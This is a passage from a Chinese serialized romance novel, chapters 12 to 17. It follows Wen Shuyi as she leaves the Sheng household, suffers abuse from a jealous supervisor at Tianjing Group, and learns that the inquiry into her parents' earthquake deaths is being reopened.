“那你搬去哪儿?租好房子了吗?”温疏亦自己还有一点钱,“我刚好租了一个房子,那个小区环境还不错,也不算太贵,要不要我也帮你租一个?” “不用。”他脸上是淡而愉快的光泽,“别担心,我有地方住。” “那有什么需要我帮忙的地方,你尽管说,我别的没有,但力气有的是。”温疏亦怕盛珽妄误会,紧跟着解释,“我说的是如果唐伯不方便的话,我可以……” “你可以来照顾我。”他用的是肯定,而不是问话。 温疏亦愣住。 他望着的错愕的眸子,又很认真地问了句,“你不愿意?” 第12章 不能生育 盛珽妄的伤因她。 她没有拒绝的理由,“我愿意,但是你的女朋友,会不会……误会啊?” “女朋友?” 温疏亦猜,他可能只是单纯地让她来干活的,好减轻许初音的负担。 这么一想,倒也通顺。 “没什么,可以的三爷。”温疏亦答应了。 男人眉心微闪了一下,拿出手机,给温疏亦发了一个地址,和门锁的密码。 温疏亦认真记下了,“三爷,我最近可能得上班,我只能下了班过去,可以吗?” “可以。” “嗯。” 隔天,温疏亦起了个大早。 想着帮盛珽妄去搬家。 过去的时候,南宅已经空空如也。 有那么一瞬间,有一些恍如隔世的感觉。 深呼吸后,她转身回了自己的房间。 “你这是要搬出盛家?”盛励站在她的房间中央,出声就是质问,“盛珽妄搬走了,你也要搬走?你还真准备跟他在一起啊?他有许初音了,你不知道吗?” 温疏亦将床上的背包,背到肩上,“盛励,我和你已经不可能了,以后我去哪儿,跟谁在一起,也与你无关,我们不可能再回到过去,如果爷爷问起,你就直说吧。” 温疏亦拖起行李箱要走。 盛励抬手握住了,她行李箱的拉杆,“你是不是真疯了?你就算不考虑我们盛家,也得考虑一下你们温家吧?这事,你要如何向你父母交代?” “这有什么不好交代的?”温疏亦扯回自己的行李箱,“是你背叛了我们的感情在先的,是你先破坏了我们的这段关系,况且,我又没嫁给你,我是自由的。” “你有什么证据,证明我背叛你了?”盛励知道温疏亦只是猜测,“我说了,我和馨晚的关系,不是你想的那样。” “馨晚,馨晚,馨晚,你知道吗盛励,我听到你这样亲切的唤沈馨晚的名字,我真的很恶心。”温疏亦厌恶的抬眸,看向面前男人这张理所当然的脸,“如果你非让我提供证据,我可以把华城的那些花边报道,你们接吻的照片,全部复制下来,发给你,如果你还嫌不够,我可以雇一个私家侦探,把你们的老底全揭出来,这样行不行?” “那些东西,都是借位,是P图,是AI,根本不是真的。” 盛励嘴硬。 温疏亦不在乎了,“让开。” “温疏亦,你想清楚,你要是离开了盛家,以后想回来,可就没那么容易了。”盛励握住温疏亦的胳膊,语气软和了下来,“你别冲动,没人赶你,你就好好的留下来,行吗?” 她决定的事情,是不会轻易推翻。 况且,盛励根本不值得她,再去重蹈覆辙。 “不行。” 温疏亦前脚刚拎着行李,走出盛家。 温家的养母就打来了电话。 没等温母说话,她便先提了,要跟盛家解除婚约的事情。 “我听盛家说,你和盛珽妄在一起了?”在温家人眼中,温疏亦是过错方,要解除婚约是不可能的事情,“你做了这么离谱的事情,盛家答应给你机会,你应该珍惜,而不是头脑发热。” “疏亦,当年……” 当年,滨城大地震中,盛励的父亲救了温父一命。 从而有了,一些明里暗里的约定。 他们舍不得把亲生女儿,嫁进盛家。 她这个养女,就成了还恩情债的最佳人选。 温疏亦不愿意再听这些。 打断道,“妈,我已经决定了。” “你这孩子,怎么这么倔呢?难不成,你还真想嫁给盛珽妄?”温母语气中透出一丝讥诮,“你还是现实一点吧,盛励他虽然不能生育,但你盛伯伯说了,他完成夫妻之事,是没问题的,到时,你们收养个孩子,这日子,还能差到哪里去。” 以前。 温疏亦听到这些,没太多触动。 不能生就不能生,只要两个人相爱就够了。 现在爱已经没有了。 她还要嫁给一个没生育能力的男人? 她没那么贱。 “疏亦,妈在跟你说话呢,你倒是吭个气啊。”手机里,养母的声音拔高。 “妈,我跟她说。” 手机那头的人换了,是温家的亲生女儿温思夏,“姐,你在想什么呢?魂飞了?妈说了,除非盛家亲自来讲,答应跟你解除婚约,咱们家是不可能,做忘恩负义的事情的。” “爸跟盛叔叔在一个单位,低头不见抬头见的,你退婚,那爸的脊梁骨还不得被戳断,你还是懂点事儿吧。” “哦对了,你和盛珽妄的事情,现在被传得沸沸扬扬,不管是真是假,你都得注意一下影响,你不要脸,咱们温家还得要脸呢。” 手机再次被养母拿了回去,“疏亦,你去盛家两年,和盛励的感情一直培养得不错,不要意气用事,这事,我们不同意,你搬出去冷静两天,就赶紧回去,知道吗?” 温疏亦心寒如冰。 她没有再回复只言片语,就挂断了电话。 如果,她的亲生父母,还活着,一定会支持她做出的每一个决定。 到底是养父母,对她也就那么回事,不关心,不在意,只想着如何保全利益。 …… 温疏亦搬到出租房后,忙活了两天。 接到了天景集团HR的电话。 好消息,她入职了。 坏消息,她和沈馨晚进了同一个部门。 不知道是好还是坏的消息,她们部门的主管,是许初音。 忙完报道的事情。 刚好是周末。 有两天的时间,她决定去盛珽妄那儿一趟,看看有什么需要帮忙的。 一个看起来挺普通的小区。 有一些年代感。 是大院性质的家属区,里面住的都是退下来的功臣,而且级别不低。 盛珽妄住的地方,是院子里唯一的一幢家属楼。 三层高。 没有电梯,步梯也有一些老旧,但胜在干净。 温疏亦有密码。 但为了表示礼貌,她还是敲了敲门。 “唐伯,我是温疏亦。” 脚步声由远及近。 唐伯将门打开,把她迎了进去,“温小姐,你怎么来了?” “我答应三爷……” 温疏亦的话音未落,就听到一道清丽的声音响起,“唐伯,谁来了?” 紧跟着许初音的脸,出现在了温疏亦的面前。 除了在盛家,她们还在天景集团见过面。 许初音看温疏亦的眼神,算不上和善。 “温疏亦,你来这儿干什么?” 温疏亦忙把自己买的补养品,递过去,“我来看望三爷的,哦不,是我来帮着照顾三爷的,不,不,是帮着你一起照顾三爷的,给你打下手,我,我……” 温疏亦不知道,是不是因为,和盛珽妄有过那么荒唐的一晚。 总觉得对不起面前的女人。 一说话,就没有底气,“许小姐,要不,你问一下三爷,如果他不需要的话,我现在马就可以离开。” 第13章 用钱打发男人 “让她进来。” 里面传来了盛珽妄的声音。 许初音走到唇边的拒绝,也只好咽下去,“那就先进来吧,珽妄他还在休息,不要打扰到他。” “我知道了。” 温疏亦打量着这个不算很大的房子。 装修是上了些年头了。 家具什么的也很简单。 有一束百合花,摆在餐桌上,很有家的味道。 尽管如此。 温疏亦还是觉得盛家做事,有一些不地道。 盛珽妄顶着盛家人的名号,在外挣回了那么多的荣耀。 这些年,连个像样的房子都没有给。 搬出盛家,只能委屈地住在几十年前,还是属于他亲生父母的房子里。 真的令人寒心。 “唐伯,有什么需要我帮忙的,尽管吩咐就好。”温疏亦放下包,挽起袖子,准备干活。 唐伯也没有跟她客气,“正好我在给三爷煲汤,你来帮忙摘菜吧。” “好的。” 温疏亦不矫情。 唐伯安排她干什么,她就干什么,不像那些大院里的娇小姐,总是用下巴看人。 “唐伯,三爷有什么忌口的吗?我想明天买一些菜过来烧,这样你也能轻松一点。” “还有生活用品方面,有什么需要的吗?三爷腿不好,您年纪也大了,我可以帮着跑腿。” 温疏亦是很诚心地问。 “不劳烦温小姐了,我虽然是上了岁数,但好歹腿脚是好的,打理三爷的生活是不成问题的。”唐伯看了一眼厨房里许初音拿来的东西,“许小姐她过来,也带了很多,暂时不用买。” “哦。” 温疏亦给忘了,人家女朋友会准备的。 她差一点僭越了。 “那行,我就多干点活。” 唐伯看了她一眼。 之前因为盛珽妄被家法,他对温疏亦是有一些意见在的。 不过这不矫情的性子,倒是让他对她平添了几分好感。 不像许初音。 只会吩咐他干这干那的。 “温小姐,那汤里少放盐。”唐伯对着正在端砂锅的女孩说。 温疏亦忙点头,“好的唐伯,你以后叫我疏亦就好了。” “好。” 温疏亦帮着唐伯将煲好的汤,还有几个小菜端到餐桌。 刚好许初音和盛珽妄,一前一后地从卧房里出来。 唐伯刚刚跟她讲,今天没有别的事情。 她便想着告辞,别在这里碍人眼,“三爷,没别的事情,我就先回去了,明天我再过来帮忙。” “别急着走,一会儿有事跟你说。” 刚拿起包来的温疏亦,只好将包放下,乖乖地坐在一旁,“哦。” 许初音给盛珽妄盛了汤。 举手投足间,贴心温柔,她跟盛珽妄很自然地聊着一些,她听不懂的事情。 温疏亦走神了。 走着走着神,她就打起了瞌睡。 没多一会儿,她靠着沙发边上睡着了。 “珽妄,你让她过来照顾你,那我呢?你完全不考虑我的感受吗?我大老远地从国外回来,难道你真的认为,我是为了工作才回来的。” “你明知道,我是对你放心不下……我可以不介意,你对温疏亦做的那件事情,我能理解你是一时冲动,或是因为太思念我,没有控制好情感,我都可以原谅你,你知道,我不希望你的身边,出现别的女人,为什么你偏要这么做呢?” “我们这么多年的感情,你真的要放弃吗?不,我放不下,珽妄,我们是分不开的,你对她只是一时新鲜,你会腻的,她那样的身份,如何配得起你。” “珽妄,我给你时间,我希望你好好考虑我们的将来,而不是用一个陌生的女人,来填补你的空虚,我现在回来了,她能给你的,我都能给,她不能你的,我也能给你,你不要冲动。” 温疏亦醒了。 被吵醒的。 这个房间不算大,也不隔音。 许初音的声音,格外的清晰。 “我就先回去了,我希望,我们下次见面的时候,她不要再出现在这里。” 这是温疏亦听到的话,也是最后一句。 随后就是许初音气冲冲地走出卧室。 愤怒又厌恶地瞪向了她,“温疏亦,你最好认清自己的身份,不该是自己的东西,不要觊觎,明白吗?” 温疏亦不太明白,许初音这话里的意思。 是说盛珽妄吗? 她在提醒自己,不要异想天开? “许小姐,你可能是误会了,我对三爷没有非分之想,我……”温疏亦还想解释什么,被许初音冷声打断,“……你最好是。” 许初音走了。 门摔得很响。 唐伯叹气。 温疏亦心里挺不是滋味。 她之前做的错事,她是酒后失德,不是故意的。 这事,她得找盛珽妄说清楚。 “三爷。”她站在他的卧室外面,敲敲门,“你刚刚不是说,有话要跟我讲吗?正好,我也有话跟你说。” “进来吧。” 男人坐在阳台的藤椅上。 指尖是一支细长的烟卷。 烟雾缭绕间,将他俊朗的五官打磨得越发清风隽逸,以至于她看不太清他的样子。 温疏亦走了进去。 “关门。”他说。 “哦。” 温疏亦转身把门关好,这才走到了他的面前,“三爷,你女朋友误会我们了,我刚才想了想,照顾你这事,要不就换其它的方式吧,比如说,补偿,我可以给你钱,行吗?” 他凛冽的目光,淡淡地扫过她的眉眼。 指尖的烟卷,递到唇上,吸了一口,“你好像很有钱的样子,怎么,跟在盛励身边两年,他给了你很多钱吗?” “他没给过我钱。”她说的补偿,也不过是想月付给盛珽妄,“我马上就要工作了,以后会有工资的,我可以每个月固定给你,毕竟,你是为了我才受了惩罚,这人情,我得还。” “我应该说你有良心,还是没有良心?”他轻嗤,指尖的烟卷,往手边的烟灰开缸里弹了两下,“想用钱打发我?怎么,以前也用这样的方式,打发过其他男人?” “我……” 她和盛珽妄那次是初次。 要说吃亏,她比较吃亏才是。 也不知道他在委屈什么。 “……你有女朋友,我要是经常过来,许小姐会误会,我不想节外生枝,如果你同意的话……” 盛珽妄摁灭了指尖的烟卷。 没回眸,指尖轻勾了一下。 温疏亦鬼使神差的,就走了过去,“……三爷。” 他抬眸,望向她惊慌失措的眸子。 那晚,她很大胆,放肆,勾着他脖子,说了许多,不允这样,不许那样的话。 现在倒好。 想跟她保持起距离来了。 “我没有女朋友,我和许初音的关系,不是你想的那样。” 盛珽妄的解释,并没有让温疏亦改变主意。 他们之间的关系,是什么样的,与她无关。 她离开盛家,就是因为受不了三个人的感情,刚跳出狼窝,不可能再让自己扯进这些无端的情感是非里面。 “跟我没有关系,三爷不用跟我解释。”她声音有一些冷漠。 盛珽妄心口微凉,指尖落到无名指的戒指上,“求婚戒指都给我戴上了,我不跟你解释,跟谁解释?” 第14章 无名指突然空了 戒指? 温疏亦脑子一空。 对啊,她那晚喝醉酒,还往盛珽妄的无名指上套上了戒指。 这戒指挺刺眼的。 她二话没说,伸手就将盛珽妄手指上的戒指撸了下来,“那个,这个……我就先收回了,酒醉生事,我以后少喝酒,三爷不必往心里去。” 无名指突然空了。 盛珽妄眉心蹙的有一些失落,他伸手扣住温疏亦的手腕,就拽进了怀里,“还带反悔的?温疏亦,你还挺不地道的。” “三爷这话说的,酒醉的时候做的事情,怎么能算数呢,您大人不计小人怪……”温疏亦挤了抹比哭还难看的笑,“……而且这戒指,明显跟你不配啊。” “所以……”他抬手握住她的下巴,逡巡向前,“……你想跟我说,那晚的事情,不作数?” 二人的距离太近。 近到他的呼吸都洒在她的唇角。 令她不安。 温疏亦紧抿着唇,后背僵成一片,“三爷还是忘了吧,一场意外……而已,这事以后不要提了,我们……根本不可能。” “那如果说……我可以帮你找到你弟弟,你会不会……觉得我们有可能性?” 在盛珽妄的注视下。 温疏亦的瞳仁就肉眼可见的,骤起,“三爷怎么会知道……我的事情?” “对于一个想娶我的女人,我自然得多一点了解。”他的指尖从下巴,慢慢游弋到她的唇角,“温疏亦,我不止可以帮你找你的弟弟,我还可以帮你查出,当年你父母死亡的真相。” 盛珽妄的话,像一颗核弹,炸开了尘封多年的往事。 地震那年,父母双亡,弟弟失踪。 这些年来,她一直在打听弟弟的消息,但是一点头绪都没有。 甚至,是死是活,都不知道。 她确实需要盛珽妄这样有能力的人,帮她找到失散多年的弟弟。 可是父母的死…… 不是因公殉职吗?难道,另有隐情? “你还知道什么?”她唇有一些颤,指尖抓着他的领口,莫名变紧,“难道,我父母不是因公殉职,是有人害死的吗?” 男人的指尖抚着女人没有血色的小脸,他其实本意不是想这么早,就说这些。 可他不想放她走。 有些手段,就不得不用,“当年地震的事情,上面正在重启调查,有你父亲的名字。” 温疏亦眼眸轻颤着,望着男人的眼睛,“你怎么知道这事?” “这重启调查的事情,不算秘密。” 不算秘密的事情,为什么她不知道,“你可以帮我?” “那得你看的表现。”他眼中有欲望,“温疏亦,求人办事,最起码拿出个态度来,你说对吗?” 温疏亦瞬间明白了。 利益交换。 可她没觉得自己有什么可以拿得出来手来东西,与盛珽妄交换。 “三爷,明说吧。” “跟我在一起。”他说。 盛珽妄有女朋友,他所说的在一起,是让她当情人吗? 床伴? 是那晚她给他的感觉太好,所以,他想长期跟她保持着这种关系? 这样做,对得起许初音吗? 太渣了吧。 温疏亦的眸子明了灭,似在想用什么样的答案,来回答他的这个问题,“三爷还是说明白一点吧,我这个人笨,理解,通常是三十分的水平。” “就是你理解的那样。”他没有过多解释,只是想睡个好觉,“今晚就搬过来。” “什么?”温疏亦不愿意,她认为,这只是盛珽妄想再次睡她,找的理由,“我凭什么相信你?你说的是真是假,我根本不知道,如果你占了我的便宜,不帮我调查,那我岂不是吃大亏了。” “男欢女爱,你能吃什么大亏?我记得那晚……你可是要了好几次。”男人唇角漫上一丝痞笑,在她的唇上,浅啄了一下,“考虑一下,我是个说话算话的人。” 他并没有勉强。 因为他知道,她早晚会来找他的。 温疏亦脸又红了。 男人到底是种什么生物? 说这种话的时候,脸都不红一下的。 不过,他说他说话算话,她还是有一些心动的。 “我是要考虑一下,我,我先走了。” …… 去天景工作的日子,并不轻松。 一个满肚子心眼的沈馨晚。 一个看她哪都不顺眼的许初音。 温疏亦每天战战兢兢,如履薄冰,生怕在工作中出一点岔子,让人穿了小鞋。 即便这样。 还是出了问题。 “温疏亦,这么简单的一个报表,你都能搞错,你是本科毕业吗?一个高中生能干的活,你都干不好,公司让你来,每天就是喝咖啡,消磨时间吗?” 许初音,把一沓文件,直接扔到了温疏亦的脸上。 痛感还是有的,但她来不及感受,连忙弯身将掉到地上的纸全部捡起来,“许主管,我马上再去改。” “还有咖啡,这么凉,我怎么喝?换一杯去。” 许初音敲了敲桌子。 温疏亦又赶忙放下文件,先去给她倒咖啡。 “许主管,你的咖啡。”温疏亦小心地将热咖啡,放到许初音的桌上,“有点烫,你……” 小心一点,这四个字还没有说完。 许初音就端起咖啡喝了一口。 “温疏亦,你成心的吧。”一杯八十多度的热咖啡,没有一点犹豫的,就全部泼在了温疏亦的脸上。 “啊……”温疏亦的脸被烫红,有一些细嫩的地方,都起了水泡。 刚好这时。 盛珽妄走了进来。 看到这一幕,他眉心一紧,急忙拿了冰块包上毛巾,递给温疏亦,“先冰一下,我马上送你去医院。” 温疏亦受伤了。 看起来有一些严重。 盛珽妄单手抱起她,快步往外走,“别害怕,不会有事的。” “珽妄,你要去哪儿啊……”许初音伸手拽住了盛珽妄的胳膊,一副不太舒服的模样,“……我,我头好疼……” 盛珽妄没管她。 抱着温疏亦走得很快。 部门的所有的人员,都不知道发生了什么。 认识盛珽妄的,也只有沈馨晚一个。 “这个温疏亦,还真的挺能勾搭的,把盛珽妄那个瘸子,勾搭到公司里来了。” 一旁的同事不解地问她,“刚刚抱着温疏亦的人,是叫盛珽妄吗?” “可不是嘛。” “我听说咱们天景集团的幕后大老板姓盛,不会是他吧?” 沈馨晚掩唇笑了起来,“你可别搞笑了,盛珽妄以前是个特种兵,后来受伤了,就是废物一个,怎么会是幕后老板呢。不过,这个盛珽妄倒是有一个身份,他是咱们许主管的男朋友。” 同事似是嗅到了什么,“那刚刚……,温疏亦不会是抢了许主管的男朋友吧?怪不得,最近许主管看到温疏亦,就一副不痛快的模样。” 沈馨晚拧唇一笑,“你们不了解温疏亦,她最擅长跟男人理不清了,也不怪许主管看她不顺眼,让你,你能把抢你男朋友的人看顺眼啊。” 同事点头,“倒也是,看来许主管算是克制了,要我的话,得泼她一脸硫酸。” 第15章 不上班,你养我? 温疏亦的伤,处理的还算及时。 就是红肿一时难以消下去,抬手去挡热咖啡的手背,也烫了许多的水泡。 她挺委屈的。 眼眶红红的,倔强眼泪直打转。 自己工作没做好。 上司发脾气,她理应受着。 但许初音发这么大的火,甚至伤害到她,她真没有想到。 伤是顾临帮着处理的,要问一下原因,“谁搞的?这也太过分了,这要是一不小心泼到眼睛里,那就真瞎了,这皮肤,烫成这样,得受些罪了。” 盛珽妄的脸难看,尤其是看到温疏亦那肿痛的脸。 怒气掩都掩不住。 “不管你的工作有没有完成好,她这样对你,就是她的错,你放心,自会还你一个公道的。” 温疏亦抬眸看了盛珽妄一眼。 他说这些,无非就是为了安抚她的情绪,不让她和许初音较真。 二人是男女朋友,他自然得护着。 做为社会底层的人。 温疏亦有苦说不出。 她其实并不指望讨什么公道,就是不要事事针对她,她就烧高香了。 顾临聪明的大脑,猜到了些什么,“疏亦脸上的伤,不会是初音伤的吧?” 盛珽妄没否认。 他知道自己猜对了,“初音不是这么冲动的人啊,她这是怎么了?拿一个下属出气,不应该啊。不会是……” 说到重点。 盛珽妄瞪了他一眼。 他立马给自己嘴上了拉锁,“……好,我闭嘴。” “我去趟天景。”盛珽妄对顾临说,“你看着她点,用最好的药,不要让她难受,明白?” 顾临看了一眼温疏亦的伤。 点头应下,“放心吧。” …… 许初音在办公室里,把自己的眼睛哭肿成了核桃。 看到盛珽妄走进来。 她一头扎进了他的怀里,紧紧地抱住了他的腰,“珽妄,我不是有意的,我就是太生气温疏亦没有把工作做好,才一时失了态,你知道的,我对待工作一向认真,你别生我的气好不好?” “一时失态?”盛珽妄的声音很冷,冷到她抱着他,身体都是冰的,“珽妄,我,我真的不是故意的,我可以向温疏亦道歉,她,她还好吗?我挺担心她的,我,我去看看她,好不好?” 许初音的眸底闪烁着泪光。 睫毛颤动着,看向盛珽妄,“我亲口跟她说对不起,好不好?” “做过一个上司,如此的情绪化,你已经不能胜任集团部门主管的职务。”盛珽妄这个人,不讲情面,对谁都是一样,“先停职,回家反省吧。” “真的要这样吗?你为了她,让我停职反省?”许初音不愿相信自己内心的猜测,苦涩扯唇,“你这么在乎她,你爱上她了?盛珽妄,你们不过睡过那么一次,你就爱上她了?那我呢,我算什么?” 男人眉心压得很低。 凌厉的眉眼,透出对许初音的失望,“她只是个实习生,有不会的地方,你可以慢慢教,你要觉得她太笨,可以把她调到别的部门,往脸上泼滚烫的热咖啡,你这是人身伤害,初音,你什么时候变得如此的不可理喻了?” “我说了,我是一时没有控制好情绪,我说了我可以道歉,我可以向她说对不起,你还要我怎样?” 盛珽妄这样处理,对她来说是侮辱,“你这样为一个实习生讨公道,合适吗?你心里有没有鬼,你自己知道。” 许初音擦了擦眼角的泪。 收起失态。 “如果因为我的一次失误,你就把我赶出集团,那公司里上上下下,会对温疏亦怎么想?还有,你刚刚抱着她,那样不顾及旁人眼光的离开,大家会有什么样非议,你可以不在乎,但你想让她被别人戳脊梁骨吗?” 盛珽妄的脸色,越发的冷肃。 让温疏亦被人指指点点,自然不是他的本意,他可以直接娶了她。 “如果公司里是这个风气,那看来是要整改一下了。” 盛珽妄给张纶打了电话,让他立马过来。 张特助五分钟就出现在了盛珽妄的面前,“盛总,您什么时候过来的?” “准备一下,明天我会来公司上班。” 天景集团成立以来。 盛珽妄只做幕后老板。 从未踏足过公司半步。 所有的决策,都是由张纶代为转达,而且,公司有负责管理的执行总裁,一直运行的有条不紊。 事发突然。 张纶一时有些头晕,“盛总,您说,您要来公司上班?是出了什么事情吗?” “不上班,你养我?” 张纶皮笑肉不笑的挤了抹尴尬,“盛总您……可,真会开玩笑。” 张纶去工作。 盛珽妄也要离开。 许初音再次从他的身后,抱住了他,“珽妄,你真的要为了温疏亦,让我离开吗?我会好难过好难过的,公司里怎么看我?以后哪个上司还敢管下属?我保证不会再有下次,好吗?” 盛珽妄对这件事情上,最终给了缓和,“我可以给你一次机会,如果有下次,不管对方是谁,你立马离开天景集团,明白?” “嗯。” …… 医院里。 顾临上的药,对温疏亦来说,挺有效的。 不那么疼。 虽然还很红,但肿在慢慢的消。 盛励推门走进来,看到她脸上抹满了药,满眼的心疼和关切,“都说了,让你不要搅和进盛珽妄和许初音的感情里,你就是不听,报应来了吧?” 这话难听的,温疏亦想要揍人。 刚好有气没地发,她拿起枕头就扔了过去,“你会说话吗?不会说话就闭嘴。” 盛励接住枕头。 扔到了床尾,“话是不好听,但这是事实不是吗?你们那个部门那么多人,许初音不管别人,单单跟你过不去,还不是因为你和盛珽妄的事情,疏亦,你醒醒吧,回到我身边,我们是明正言顺的,他一个瘸子,能带给你什么?” “明正言顺什么?明正言顺当你和沈馨晚的遮羞布?” 她再蠢。 也不可能再去给盛励当老妈子。 两年的时间,她没有换来尊重也就罢了,现在,还想要继续欺骗她。 光是想想,就来气,“盛励,你是觉得我特别好骗,是不是?我告诉你,就你这种人品,也就沈馨晚不嫌弃你,自凡是个正常女人,都不会嫁给你这种垃圾。” “你……”温疏亦戳他心窝子,盛励气的脸都绿了,“……你以前不也爱我爱得不能自拔?温疏亦,你承认吧,你就是因为还爱着我,所以,才会说这些气我的话。” 第16章 亲生父母的死 温疏亦白眼翻上天。 她承认爱过。 但现在不爱了。 甚至,看到盛励,她都生理性地反胃。 翻了个身。 温疏亦不再理人。 盛励刚要再说些什么。 盛珽妄一步迈了进来。 “你怎么在这儿?” 看到盛珽妄,盛励就会想到温疏亦和他的那些事情,语气,也没有好到哪儿去,“我怎么不能在这儿?倒是你啊盛珽妄,你的女朋友,把疏亦伤成这样,是不是得给我个说法?” “给你说法?”盛珽妄墨色的眸子,微微压了压,“你算老几?” “我,我算是疏亦的男朋友。”盛励抻着脖子喊。 盛珽妄淡淡地扯了下唇,“你问她,承认吗?” 盛励被憋了一下。 紧紧地绷起下巴,“不管她承不承认,我们的婚约还在,她就还是我的女人,倒是你,吃着碗里的,还想着锅里的,什么东西。” 话音落地。 盛珽妄的金属手杖,下一秒就抵在了盛励的脖子上。 冰凉的压迫感,令他生出恐慌和害怕。 “你,你要干什么?” “你爷爷没有教你,对我,要有起码的尊重吗?” 盛珽妄的声音,冷得如同三九天的冰凌。 一个不小心,就能扎进盛励的胸口。 怎么死的,都查不出来。 盛励确实害怕盛珽妄,传闻中,他一只手可以拧断一个活人的脖子。 盛励还不想死得那么早。 “我也不过是替疏亦打抱不平,她伤成这样,都是因为许初音,你有间接的责任不是吗?我要个说法怎么了?” “说法我会给,但不是给你,滚蛋。”盛珽妄厉声。 盛励心中不忿。 但也清楚地知道,再纠缠下来,对自己没有半分好处。 他对着床上那个翻身不看他的女人说,“疏亦,那我改天再来看你。” 盛励走了。 温疏亦也从病床坐了起来。 盛珽妄坐到她的病床前,指尖轻轻地触了一下她红肿的皮肤。 她条件反射的,躲了一下。 “感觉怎么样?好些了没?”他的声音很淡,但又透出难得的温柔。 温疏亦没太多感觉,她满脑子都是盛励那句,许初音就是故意要整她的那句话。 “三爷,是不是许主管误会什么了?如果是真的,还麻烦你跟她解释一下,我们之间……其实没什么关系。” “你怕她,再打击报复你?” 温疏亦是这样想的。 有份工作不容易。 但如果实在是做不下去,她只能离开天景。 “怕,如果可以,再回到过去那一晚,我就算想找男人,也不会找上你……”温疏亦后悔极了,她的人生一直在试错。 对盛励身上是错。 惹上盛珽妄还是错。 她有时候,觉得自己真的是倒霉过了头,“……其实她心里的感受,我特别能理解,所以……” “你想多了。”盛珽妄冷淡的眉眼,透出对她的怜惜,“我和她的关系,还没有到,可以相互约束的地步,你的顾虑,我也能理解。” 他拿出几张写满条条框框的纸。 递到了温疏亦的面前,“如果你不愿意在她的手下工作,可以调岗,这是调岗意愿书,签了就生效。” “真的吗?” 这是因祸得福。 但温疏亦不解,为什么盛珽妄会有这么大的权利。 “你怎么做到的?” “什么,怎么做到的?”他反问。 温疏亦:“你怎么做到,可以给我调岗的?” “以后你会知道,想调就签,不想调,许初音那边,也已经在做检讨了,以后绝不会冲动,再做伤害任何一个下属的事情,你放心。” 温疏亦其实也有点矛盾。 但为了自己能把这份工作做下去,最终还是拿起笔签了,“那我还是调岗吧。” 她没怎么看内容。 就把字签了。 将签好的文件,给了盛珽妄,“谢谢你。” “不看看内容,不怕我把你卖了?” 温疏亦没觉得自己有什么可值得被骗的,“我又没钱,你能骗我什么?我还指望着这份工作,养活自己呢,只要不让我去缅北,没什么可怕的。” 顾临走进来,手上拿着一瓶药,“这药去红去肿特效,是我找我师哥要的,你报销一下。” 他将药递给了盛珽妄。 盛珽妄:“记账。” 顾临:……他没听错吧。 “你要真穷成这样,我找人给你办个小额贷吧。” “你救死扶伤的医德,让狗吃了?”盛珽妄将药递给了温疏亦,“这个你拿着。” “多少钱啊,我来给吧。”温疏亦说着拿出手机就要给顾临转账。 顾临哪好要温疏亦得钱。 摆了摆手,“算了,他说记账,我就给他记着,反正,他最后得还我。” 温疏亦在医院里,住了七天。 恢复的还不错。 顾临给的那瓶药,再配合每天的输液,她感觉自己的皮肤反倒比以前更好了。 出院的时候。 有人叫住了她,“乔汐。” 这个名字。 从六岁那年,已经没有再喊过她,温疏亦有一瞬是恍惚的。 她错愕又木然。 “你是……” “你不记得我了?我是你爸以前的秘书,我叫方泽,你以前喊我方叔叔来的,还记得吗?” 温疏亦有一些印象。 但眼前这个人,还是有出入的,“方叔叔,我记得你以前胖胖的,怎么……” “人老了,事多了,自然也就瘦了。”方泽礼貌地请她去对面的咖啡馆坐坐,“我有一些事情,想跟你说说,方便吗?” “当然。” 咖啡馆里,曲调悠扬。 温疏亦猜,方泽是有关于父亲的事情,要跟她讲,“方叔叔,您有什么事情,就请直说吧。” “那我就直说了。” 方泽从包里拿出一个文件。 上面写的内容,是对当年地震事件调查的重启。 “其实,当年你爸死得有些蹊跷,但是当时事态严重,死伤无数,他又被火急火燎地下葬,也就没人再去调查真正的死因。” “前段日子,有人递交了举报材料,期间有很多疑点,你爸妈的名字,也赫然在列,我觉得,这件事情,应该让你知道。” 方泽说的,和盛珽妄说的,不谋而合。 温疏亦难掩激动,“那上面有说,我爸妈的死,与什么人有关吗?” “当年负责在现场抢救的,有盛宗杰和温汉彬带的团队,这两家脱不了干系。”方泽推了推架在鼻梁上的眼镜,说,“我听说,你后来被温汉彬收养了,是吗?” 第17章 造我黄谣 温疏亦点头。 温汉彬是她的养父。 亲生父母的死,竟然与他们有关。 “难道,真的是他们害死了我爸妈?” “只能说,这两家是调查的切入口,没有直接证据证明,就是他们的团队在当时出了问题,毕竟当年在现场的人太多了,团队也不止一个。” 方泽的话,让温疏亦回归理智。 他说得没错。 如果是温汉彬害死了自己的亲生父母,那为什么要收养她? “本来,我是想着等调查的结果出来,我也算是对乔镇长,有一个交代了,没想到……” “乔汐,我要提前退了,以后调查的结果,也不可能知道,如果你有什么人脉,可以打听到内幕消息,你就去找他帮忙,因为,有一些事情,是不对外公布的。” 温疏亦明白。 她已经十分感激方泽,“方叔叔,谢谢你告诉我这么多,还有一件事情,我想问问你。” “什么?” “地震的时候,父母离世,我和弟弟也走散了,这么多年了,我都没有他半点消息,你这边有没有……” 方泽摇头。 地震中走失的孩子那么多。 实在是没有头绪。 “抱歉,我也没有消息。” “谢谢。” 方泽有许多的感慨,聊了很多温疏亦亲生父亲的事情,“以前我和你爸一起工作,休息的时候,你爸最爱提的就是你,说你又聪明,又漂亮,学习还好,他经常说要多攒钱,将来想送你出国读书呢。” “这一转眼啊,你都成了大姑娘了,而他也已经去世……十多年了。” 温疏亦看向面前的中年男人。 他的鬓角被白发浸染,岁月沧桑,如果父亲还活着,一定也是这副模样。 “爸爸他对我和弟弟都很好,弟弟走散的时候,只有三岁,我会努力找到他的,不管十年,还是二十年,也算对我爸妈有一个交代。” 方泽欣慰点头。 “会的,一定会的。” 两人分开的时候。 方泽提到了盛珽妄的名字,“我听说你在盛家住了两年,一定认得盛珽妄,这次负责调查的人,跟他有很深的渊源,你可以找他问一下。” 温疏亦嗯了一声。 看来是逃不开盛珽妄了。 难道,真的去给他当小三,才能得到自己想要的吗? …… 温疏亦去上班时。 去了原来的部门办理手续。 大家看她的眼神,都透着一些指指点点。 像是她做了多么丢人的事情一般。 沈馨晚走到她身旁,悄悄地说话,“疏亦,你知道,大家为什么都用异样的眼光看你吗?” “我不想知道。”温疏亦手边是准备调离原岗位的申请单,“沈馨晚,大家用这样的眼光看我,难道不是你在背后,造我的黄谣吗?” “疏亦,我们这么熟,我怎么会做这种事情。”沈馨晚错愕地眨了两下无辜的眸子,继续压低声音说,“好歹我们也认识好多年了,你这样想我,可太伤我的心了。” 